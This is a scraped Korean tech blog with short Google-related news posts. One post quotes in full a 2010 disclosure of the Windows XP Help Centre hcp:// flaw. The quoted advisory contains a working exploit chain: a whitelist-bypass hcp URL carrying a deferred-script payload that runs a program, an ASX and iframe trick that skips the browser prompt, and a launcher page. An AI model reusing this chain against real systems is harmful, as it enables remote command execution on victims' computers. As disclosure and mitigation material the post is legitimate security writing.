스마트폰 시대에 있어 앱(App)은 활용도에 따라 시장을 선도하느냐 아니면 따라가느냐 하는 중요한 위치를 차지하고 있습니다.

애플의 IOS에는 아이튠즈가, 구글의 안드로이드 OS에는 안드로이드 마켓이 있어 전세계적으로 다양한 앱들이 개발되어 무료 또는 유료로 판매되고 있습니다.

실제로 앱의 구매, 실행, 복사 방지 등과 같이 보안에 관련된 부분은 철두철미하게 관리가 되어야 하며, 이러한 부분에서 보안상 문제가 발생한다면 치명적인 결과를 낳게 됩니다.

최근에는 애플의 아이튠즈에서 일부 사용자의 계정정보를 도용하여 특정한 앱에 대해 전폭적인 구매 및 점수 띄워주기를 하다 걸려서 영구제명(!)당한 사건이 있었습니다.

그리고, 구글이 관리하는 안드로이드 라이선스 서버의 인증을 우회하는 앱이 출현하는 일종의 해킹이 발생되었으며 구글이 이에 대한 보안을 강화하였다고 밝혔습니다. 라이선스 서버의 인증을 우회하는 경우에는 불법적인 설치, 복사, 악성코드가 포함된 앱을 사용하게 할 수 있을 만큼 아주 심각한 문제점으로 보여집니다.

구글의 Tim Bray는 자신의 블로그를 통해, 이러한 사실을 알리고 현재에는 보안을 강화하여 그러한 일이 발생하지 않도록 조치했다고 밝혔습니다.

출처: http://www.infoworld.com/d/security-central/google-defends-android-market-license-server-despite-reported-hack-326

reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    최근 인터넷 업계는 클라우드, 가상화가 대세로 받아들여지고 있습니다.

    하지만, 이러한 클라우드를 실제 업무에 적용하기 위해서는 각종 국가별 규제를 모두 통과해야 하는 단점을 지니고 있습니다.

    최근 구글은 미국에서 관련된 법령을 통과함으로써 미국내의 정부기관까지도 서비스를 제공할 수 있는 발판을 마련했습니다. 이는 MS 조차도 시도하지 못했던 것입니다.

    이제 구글은 기업/공공 기관용 시장에서 Gmail/Calendar/Sites/Docs/Chat 등을 서비스할 수 있으며, 미국 이외에서도 서비스할 수 있는 가능성을 열었다는데 의의가 있을 것으로 생각됩니다.

    출처: http://www.blackweb20.com/2010/07/28/googles-cloud-services-pass-government-security-requirements/
    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus
      지난 6월 10일, 윈도우 XP 운영체제의 '도움말 센터' 기능에서 제로데이 취약점이 발견되어 알려졌으며, 이러한 취약점을 이용하는 공격코드를 구글에서 공개해 파장이 일고 있습니다.

      아래 글상자는 공개한 공격 코드입니다.

      Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
      ----------------------------------------------------------------------------
      
      Help and Support Centre is the default application provided to access online
      documentation for Microsoft Windows. Microsoft supports accessing help documents
      directly via URLs by installing a protocol handler for the scheme "hcp", 
      a typical example is provided in the Windows XP Command Line Reference,
      available at http://technet.microsoft.com/en-us/library/bb490918.aspx.
      
      Using hcp:// URLs is intended to be safe, as when invoked via the registered
      protocol handler the command line parameter /fromhcp is passed to the help
      centre application. This flag switches the help centre into a restricted mode,
      which will only permit a whitelisted set of help documents and parameters.
      
      This design, introduced in SP2, is reasonably sound. A whitelist of trusted
      documents is a safe way of allowing interaction with the documentation from
      less-trusted sources. Unfortunately, an implementation error in the whitelist
      allows it to be evaded.
      
      URLs are normalised and unescaped prior to validation using
      MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
      escape sequences into their original characters, the relevant code from
      helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.
      
      .text:0106684C Unescape:
      .text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.
      .text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.
      .text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.
      .text:01066853        call    ds:wcslen            ; find the remaining length.
      .text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 
      xdigits.
      .text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).
      .text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).
      .text:01066861        mov     dl, cl
      .text:01066863        neg     dl
      .text:01066865        sbb     edx, edx
      .text:01066867        and     edx, 3
      .text:0106686A        inc     edx
      .text:0106686B        inc     edx
      .text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.
      .text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.
      .text:01066870        test    cl, cl
      .text:01066872        movzx   eax, word ptr [esi+2]
      .text:01066876        push    eax
      .text:01066877        jz      short NotUnicode
      .text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
      .text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape 
      sequence.
      .text:01066880        movzx   eax, word ptr [esi+4]
      .text:01066884        push    eax
      .text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. 
      total <<= 4;
      .text:01066888        call    HexToNum             
      .text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.
      .text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.
      .text:01066893        push    eax
      .text:01066894        shl     edi, 4
      .text:01066897        call    HexToNum
      .text:0106689C        or      edi, eax
      .text:0106689E        movzx   eax, word ptr [esi+8]
      .text:010668A2        push    eax
      .text:010668A3        shl     edi, 4
      .text:010668A6        call    HexToNum
      .text:010668AB        or      edi, eax
      .text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.
      .text:010668B0        jmp     short FinishedEscape
      .text:010668B2
      .text:010668B2 NotUnicode:                             
      .text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, 
      instead of %u0041)
      .text:010668B7        mov     edi, eax
      .text:010668B9        movzx   eax, word ptr [esi]
      .text:010668BC        push    eax
      .text:010668BD        call    HexToNum
      .text:010668C2        shl     eax, 4
      .text:010668C5        or      edi, eax
      .text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.
      .text:010668CA
      .text:010668CA FinishedEscape:
      .text:010668CA        test    di, di
      .text:010668CD        jz      short loc_10668DA
      .text:010668CF
      .text:010668CF LiteralChar:
      .text:010668CF        push    edi                  ; append the final value to the normalised string using a 
      std::string append.
      .text:010668D0        mov     ecx, [ebp+unescaped]
      .text:010668D3        push    1
      .text:010668D5        call    std::string::append
      .text:010668DA        mov     di, [esi]            ; fetch the next input character.
      .text:010668DD        test    di, di               ; have we reached the NUL terminator?
      .text:010668E0        jnz     Unescape             ; process next char.
      
      This code seems sane, but an error exists due to how MPC::HexToNum() handles
      error conditions, the relevant section of code is annotated below.
      
      .text:0102D32A        mov     edi, edi
      .text:0102D32C        push    ebp
      .text:0102D32D        mov     ebp, esp              ; function prologue.
      .text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.
      .text:0102D332        cmp     eax, '0'
      .text:0102D335        jl      short CheckUppercase  ; is it a digit?
      .text:0102D337        cmp     eax, '9'
      .text:0102D33A        jg      short CheckUppercase
      .text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.
      .text:0102D33F        jmp     short Complete   
      .text:0102D341 CheckUppercase:
      .text:0102D341        cmp     eax, 'A'
      .text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?
      .text:0102D346        cmp     eax, 'F'
      .text:0102D349        jg      short CheckLowercase
      .text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()
      .text:0102D34E        jmp     short Complete   
      .text:0102D350 CheckLowercase:
      .text:0102D350        cmp     eax, 'a'
      .text:0102D353        jl      short Invalid         ; lowercase xdigit?
      .text:0102D355        cmp     eax, 'f'
      .text:0102D358        jg      short Invalid    
      .text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()
      .text:0102D35D        jmp     short Complete    
      .text:0102D35F Invalid:     
      .text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1
      .text:0102D362 Complete:   
      .text:0102D362        pop     ebp
      .text:0102D363        retn    4
      
      Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
      MPC::HexToNum() as required, and therefore can be manipulated into appending
      unexpected garbage onto std::strings. This error may appear benign, but we can
      use the miscalculations produced later in the code to evade the /fromhcp
      whitelist.
      
      Assuming that we can access arbitrary help documents (full details of how the
      MPC:: error can be used to accomplish this will be explained below), we must
      identify a document that can be controlled purely from the URL used to access it.
      
      After browsing the documents available in a typical installation, the author
      concluded the only way to do this would be a cross site scripting error. After
      some careful searching, a candidate was discovered:
      
      hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>
      
      This document is available in a default installation, and due to insufficient
      escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
      to a DOM-type XSS. However, the escaping routine will abort encoding if characters
      such as '=' or '"' or others are specified. 
      
      It's not immediately obvious that this error is still exploitable, simple
      tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
      isn't helpful as the code isn't evaluated again. In situations like this, the
      best course of action is to harass lcamtuf until he gives you the solution,
      which of course his encyclopaedic knowledge of browser security quirks produced
      immediately.
      
      <script defer>code</script>
      
      The defer property is an IE-ism which solves the problem, documented by
      Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
      Now that we are armed with knowledge of this trick, because these help
      documents are in a privileged zone, we can simply execute commands.
      
      You can test this with a command like so (assuming a recent IE):
      
      C:\> ver
      Microsoft Windows XP [Version 5.1.2600]
      C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script 
      defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
      C:\>
      
      While this is fun, this isn't a vulnerability unless an untrusted third party
      can force you to access it. Testing suggests that by default, accessing an
      hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
      other browsers) will result in a prompt. Although most users will click through
      this prompt (perfectly reasonable, protocol handlers are intended to be safe),
      it's not a particularly exciting attack.
      
      I've found a way to avoid the prompt in a default Windows XP installation in all
      major browsers, The solution is to invoke the protocol handler from within an
      <iframe> in an ASX HtmlView element. There are probably other ways.
      
      http://en.wikipedia.org/wiki/Advanced_Stream_Redirector
      
      The version of Windows Media Player that is available by default in Windows XP
      is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
      content. Later versions also can be used, with some minor complications.
      
      Thus, the attack will look like this:
      
      $ cat simple.asx 
      <ASX VERSION="3.0">
      <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>
      <ENTRY>
         <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>
      </ENTRY>
      </ASX>
      
      Where starthelp.html contains something like:
      
      $ cat starthelp.html 
      <iframe src="hcp://...">
      
      Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:
      
      $ cat launchurl.html 
      <html>
      <head><title>Testing HCP</title></head>
      <body>
        <h1>OK</h1>
        <script>
              // HCP:// Vulnerability, Tavis Ormandy, June 2010.
              var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";;
      
              if (window.navigator.appName == "Microsoft Internet Explorer") {
                  // Internet Explorer
                  var o = document.createElement("OBJECT");
                  o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
                  o.openPlayer(asx);
              } else {
                  // Mozilla, Chrome, Etc.
                  var o = document.createElement("IFRAME");
                  o.setAttribute("src", asx);
                  document.body.appendChild(o);
              }
        </script>
      </body>
      </html>
      
      Therefore, we have the following interactions between multiple complex systems
      chained together:
      
      - From an html page, email, document, or other application force a user to
        fetch a .ASX file containing an HtmlView element.
      - From the HtmlView element, invoke the hcp protocol handler that would normally
        require confirmation.
      - From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
        string miscalculations caused by failing to check the return code of
        MPC::HexToNum().
      - Once the whitelist has been defeated, invoke the Help document with a known
        DOM XSS due to GetServerName() insufficient escaping.
      - Use the defer property of a script tag to execute script in a privileged zone
        even after the page has been rendered.
      - Invoke an arbitrary command using the wscript.shell object.
      
      Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
      whitelist took some analysis, but the result looks like the following.
      
      hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%
      A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
      %A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
      %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
      A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3
      Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%
      3C/script%3E
      
      --------------------
      Affected Software
      ------------------------
      
      At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
      is enhanced against IE >= 8 and other major browsers if Windows Media Player is
      available, but an installation is still vulnerable without it.
      
      Machines running version of IE less than 8 are, as usual, in even more trouble.
      
      In general, choice of browser, mail client or whatever is not relevant, they
      are all equally vulnerable.
      
      --------------------
      Consequences
      -----------------------
      
      Upon successful exploitation, a remote attacker is able to execute arbitrary
      commands with the privileges of the current user.
      
      I've prepared a demonstration for a typical Windows XP installation with
      Internet Explorer 8, and the default Windows Media Player 9.
      
      http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html
      
      In IE7 on Windows XP, just visiting this URL should be sufficient:
      
      http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html
      
      Some minor modifications will be required to target other configurations, this
      is simply an attempt to demonstrate the problem. I'm sure the smart guys at
      metasploit will work on designing reliable attacks, as security professionals
      require these to do their jobs.
      
      Additionally, my demonstration is not intended to be stealthy, a real
      attack would barely be noticable to the victim. Perhaps the only unavoidable
      signal would be the momentary appearance of the Help Centre window before the
      attacker hides it. There are multiple trivial techniques that can be used to
      accomplish this.
      
      Browsers are useful to demonstrate the problem, but there are certainly other
      attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
      be used across applications.
      
      -------------------
      Mitigation
      -----------------------
      
      If you believe you may be affected, you should consider applying one of the
      workarounds described below.
      
      Few users rely on Help Centre urls, it is safe to temporarily disable them
      by removing HKCR\HCP\shell\open. This modification can be deployed easily using
      GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
      here
      
      http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx
      
      A few caveats, 
      
          * I am aware that some support technicians rely on the Remote Assistance
            tool provided by the Help Center application using shortcuts like
            "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
            to use this technique by substituting "explorer.exe hcp://..." for
            "helpctr.exe /url hcp://...", without relying on the protocol handler.
      
          * One or two links in explorer, such as selecting "Help" from the Control
            Panel category view, may no longer function. If this concerns you, it is
            possible to gracefully degrade by replacing the protocol handler with a
            command to open a static intranet support page, e.g.
            "chrome.exe http://techsupport.intranet";.
      
          * As always, if you do not use this feature, consider permanently disabling
            it in order to reduce attack surface. Historically, disabling unused
            protocol handlers has always proven to be a wise investment in security. 
      
      In the unlikely event that you heavily rely on the use of hcp://, I have
      created an unofficial (temporary) hotfix. You may use it under the terms of
      the GNU General Public License, version 2 or later. Of course, you should only
      use it as a last resort, carefully test the patch and make sure you understand
      what it does (full source code is included). It may be necessary to modify it
      to fit your needs.
      
      The package is availble for x86 here:
      
      http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip
      
      [ NOTE: Please avoid linking to this file out of context, it is intended for
              consideration as a potential mitigation by experienced administrators,
              and is not suitable for consumption by end-users ]
      
      The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
      return zero on error, rather than -1. Nothing is changed on disk, and it can be
      safely removed at anytime. Of course, the result of an invalid unescape is still
      incorrect, but this specific vulnerability should be rendered inert. I would be
      greatful if the community could contribute bugfixes, testing, an x64 port, and
      so on. Once information is in the open, we can all collaborate on our
      collective security.
      
      Some clarifications,
      
          * Fixing the XSS is not a solution, the root cause is the whitelist
            evasion, any mitigation that does not address this is simply papering
            over the issue. An army of researchers that specialise in XSS exists, and
            i'm sure they will turn their attention to help documents once they
            realise their value. Assume more will be discovered.
      
          * That said, if you are an XSS expert, examples in whitelisted pages
            (/services/index, /services/search, etc.) would be useful, your skills
            could be helpful making this important software safe.
      
          * Removing Windows Media player is not a solution, it simply makes a fun
            demo for IE8 and other modern browsers.
      
      Finally, you should take this opportunity to disable all browser plugins and
      SFS ActiveX controls that are not regularly used. End users can do this
      themselves in Google Chrome by viewing about:plugins and disabling the plugins
      that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
      interface.
      
      -------------------
      Solution
      -----------------------
      
      Microsoft was informed about this vulnerability on 5-Jun-2010, and they
      confirmed receipt of my report on the same day.
      
      Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
      has been the target of attacks multiple times in the past. I've concluded that
      there's a significant possibility that attackers have studied this component,
      and releasing this information rapidly is in the best interest of security.
      
      Those of you with large support contracts are encouraged to tell your support
      representatives that you would like to see Microsoft invest in developing
      processes for faster responses to external security reports.
      
      -------------------
      Credit
      -----------------------
      
      This bug was discovered by Tavis Ormandy.
      
      -------------------
      Greetz
      -----------------------
      
      Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
      Hawkes, Jagger, and all my other pimp colleagues.
      
      Special thanks to lcamtuf for his assistance with the deferred execution
      problem. You should read his Browser Security Handbook if you need to
      understand how web browser security /really/ works.
      
      http://code.google.com/p/browsersec/wiki/Main
      
      A colleague is organising a conference in Lucerne, Switzerland. He would really
      appreciate interesting papers from security people who want to talk about
      their research (travel, hotel, etc. covered).
      
      https://www.hashdays.ch/
      
      -------------------
      Notes
      -----------------------
      
      I would like to point out that if I had reported the MPC::HexToNum() issue
      without a working exploit, I would have been ignored.
      
      Without access to extremely smart colleagues, I would likely have given up,
      leaving you vulnerable to attack from those who just want root on your network
      and do not care about disclosure policies.
      
      This is another example of the problems with bug secrecy (or in PR speak,
      "responsible disclosure"), those of us who work hard to keep networks safe are
      forced to work in isolation without the open collaboration with our peers that
      we need, especially in complex cases like this, where creative thinking and
      input from experts in multiple disciplines is required to join the dots.
      
      A good place to start researching full disclosure would be this accessible
      and insightful essay by Bruce Schneier.
      
      http://www.schneier.com/essay-146.html
      
      His balanced coverage of the debate is also available in this essay.
      
      http://www.schneier.com/crypto-gram-0111.html#1
      
      Finally, a reminder that this documents contains my own opinions, I do
      not speak for or represent anyone but myself.
      
      -------------------
      References
      -----------------------
      
      hcp:// has been broken a few times over the years, for example:
      
      - http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
      - http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.
      
      The current design is actually pretty sound, I'm sure Microsoft are
      dissapointed they missed this flaw. In their defense, I think there's a good
      chance I would have also missed this in code review.
      
      -- 
      -------------------------------------
      taviso () cmpxchg8b com | pgp encrypted mail preferred
      -------------------------------------------------------


      구글에서 일하는 엔지니어인 Tavis Ormandy는 취약점의 원인 뿐만 아니라 공격하는 방법, 그리고 일시적으로 공격의 예방하는 방법 등 거의 모든 부분에 대해 아무런 가감 없이 상세하게 설명하였습니다.

      문제는 너무 자세하게 설명한 나머지 해커들이 이 정보를 이용하여 손쉽게 악성 코드를 생성할 수 있다는 주장이 마이크로소프트에 의해 주장되기도 했습니다.

      한편, MS의 이러한 공격에 대해 Tavis는 '내 자신의 의견일 뿐이다'라고 전혀 개연치 않는 발언을 하기도 했습니다.

      출처: http://www.itproportal.com/portal/news/article/2010/6/11/microsoft-hits-out-over-google-engineers-hacking-tips/

      공격코드: http://seclists.org/fulldisclosure/2010/Jun/205
      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus
        구글에서 제공하는 크롬(Chrome) 브라우저는 기존의 브라우저에 비해서 빠른 속도를 자랑합니다. 구글 블로그에 따르면, 크롬 브라우저의 버전이 올라갈수록 속도가 더욱 빨라지고 있다는 소식을 전하고 있습니다.



        그리고, 최신 베타 버전에서 브라우저의 성능을 테스트한 동영상은 다음과 같습니다.


        출처: http://chrome.blogspot.com/2010/05/pedal-to-chrome-metal-our-fastest-beta.html
        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus
          지난 금요일 구글은 애플이 출시할 예정인 아이패드(iPad)에 맞도록 개발 중인 지메일 웹 애플리케이션을 블로그에서 살짝 공개했습니다.


          출처: http://googlemobile.blogspot.com/2010/04/google-services-on-ipad-and-tablet.html


          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus
            국내에서 이제 천천히 사용자 층이 확산되기 직전의 솔루션이 바로 워드프레스(WordPress,WP)입니다.

            WP가 사랑받는 이유는 바로 다양한 테마(Themes)와 플러그인(Plugin)이 공짜 또는 유상으로 판매되기 때문입니다.

            따라서, 블로그 등으로 광고를 받아 수익을 창출하는 시스템을 위한 애드센스 전용 스킨이 나와 소개해 드립니다.


            출처: http://www.doshdosh.com/16-adsense-optimized-wordpress-themes-to-maximize-your-contextual-ad-earnings/

            reTweet
            Posted by 문스랩닷컴
            blog comments powered by Disqus
              구글은 검색 엔진으로 유명하지만, 그 외에도 다양한 기능을 제공합니다. 대표적인 서비스로는 번역 을 들 수 있을 것입니다.

              구글은 기업의 환경에 맞는 서비스도 제공하는데 바로 앱스(Apps)입니다. Apps에서는 이메일, 일정, 주소록을 도메인별로 사용할 수 있게 해주는 Saas를 제공하며, 50이하 사용자는 무료입니다. 물론, 유료로 사용하는 경우에는 보다 나은 용량이나 성능을 제공합니다.

              하여튼, 회사의 입장에서 새롭게 도메인을 등록하고 이메일 시스템을 구축하는 경우에는 크게 문제가 되지 않지만, 기존에 이미 다른 제품의 메일 서버를 사용하고 있는 경우에는 데이터 이전이라는 문제 때문에 고심을 하지 않을 수 없게 됩니다.

              구글은 이러한 문제점을 해결하기 위해 Exchange 서버에서 구글 앱스로 이메일, 일정, 주소록을 넘겨줄 수 있습니다.

              다만, 이러한 툴을 사용하기 위해서는 구글 앱스 상용 버전이나, 교육용 버전을 사용하고 있어야 한다고 언급하고 있습니다. 또한, 익스체인지 2003과 2007을 지원합니다.

              출처: http://googleenterprise.blogspot.com/2010/03/now-its-easy-switch-to-google-apps-from.html

              설명서: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/ko//support/enterprise/static/gapps/docs/admin/en/gapps_exchange_migration/1.0/gamme_admin.pdf
              reTweet
              Posted by 문스랩닷컴
              blog comments powered by Disqus
                전세계에서 가장 데이터를 잘 모아서 돈으로 만들어 버는 구글에서는 안드로이드라는 휴대폰용 운영체제를 개발하여 출시하였습니다.

                물론 국내외 휴대폰 개발사들이 이 운영체제를 이용하기도 합니다만, 아직까지 크게 반향을 일으키지는 못하고 있습니다. 이유에 대한 것은 본 글의 범위를 넘어서기 때문에 생략합니다.

                하여튼, 보안 기업으로 유명한 F-Secure 사는 안드로이드에서 사용할 수 있는 보안 관련 서비스인 F-Secure Antitheft for Mobile 를 출시했습니다.

                안드로이드 폰을 사용하다가 분실하는 경우에는 안드로이드 폰을 사용할 수 없도록 잠그거나 데이터를 삭제할 수 있는 서비스입니다. 또한, 안드로이드 폰으로 인터넷 서핑을 하는 동안에 악성 코드가 포함된 사이트를 방문하더라도 미리 예방할 수 있습니다.

                자세한 사항은 아래 링크를 참고하십시오.

                http://www.f-secure.com/en_US/products/mobile/mobile-security/Mobile_security_android.html
                reTweet
                Posted by 문스랩닷컴
                blog comments powered by Disqus
                  최근 구글은 중국의 조직적인 해킹으로 인해 내부의 정보가 누출되는 사태가 발생했다고 밝혔습니다. 이에 대한 원인으로는 인터넷 익스플로러의 취약점이 거론되고 있습니다만, 더욱 충격적인 내용이 주장되고 있습니다.

                  구글 중국 지사의 직원들이 중국발 사이버 공격에 동참했을 가능성이 있다고 주장했습니다. 즉, 공격은 구글 중국 지사에서 일하는 사람들에 의해 실행되었을 수 있다는 것입니다.

                  아직 이에 대해 자세한 사항은 나오지 않고 단편으로만 나오는 실정이며 자세한 사항은 아래 링크를 참고하세요.

                  http://mystateline.com/content/fulltext/?cid=130162

                  reTweet
                  Posted by 문스랩닷컴
                  blog comments powered by Disqus
                    지난 11월 중순부터 외국(독일)의 구글 크롬 브라우저를 다운로드 하는 페이지에서 어베스트!에 관련된 글이 알려진 적이 있습니다. 그 당시에는 전세계적으로 모든 국가에 적용되지는 않았습니다.

                    지난 12월 3일, 드디어 구글 크롬 영문 버전이 어베스트!의 설치 과정에 포함되었습니다.

                    출처: http://blog.avast.com/2009/12/03/avast-and-google-chrome/




                    reTweet
                    Posted by 문스랩닷컴
                    blog comments powered by Disqus


                      Web Analytics Blogs Directory